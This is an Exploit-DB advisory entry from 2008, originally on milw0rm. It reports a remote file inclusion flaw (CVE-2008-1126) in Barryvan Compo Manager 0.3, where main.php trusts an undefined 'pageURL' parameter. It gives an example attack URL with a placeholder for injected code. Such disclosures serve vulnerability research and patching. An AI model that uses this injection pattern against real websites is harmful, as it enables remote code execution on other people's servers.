Barryvan Compo Manager 0.3 - Remote File Inclusion

Author: MhZ91
type: webapps
platform: php
port: 
date_added: 2008-02-27  
date_updated: 2016-11-23  
verified: 1  
codes: CVE-2008-1126;OSVDB-42574  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.combarryvancompo-0.3.zip  

raw file: 5202.txt  

--==+================================================================================+==--
--==+		barryvancompo-0.3 Remote File Inclusion                              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: barryvancompo-0.3 Remote File Inclusion
 Download: http://sourceforge.net/projects/barryvancompo/
 Bug: Remote File Inclusion
 Info: The barryvan compo manager is a PHP, Smarty and MySQL-based system for running, organising, and maintaining competitions. It is particularly designed for use within the computer music "scene".
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

barryvancompo-0.3 present a variable "pageURL" not definited in this file

main.php
(and all files require it)

we can exploit it by the variable "pageURL", for example

http://www.example.com/main.php?pageURL=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28]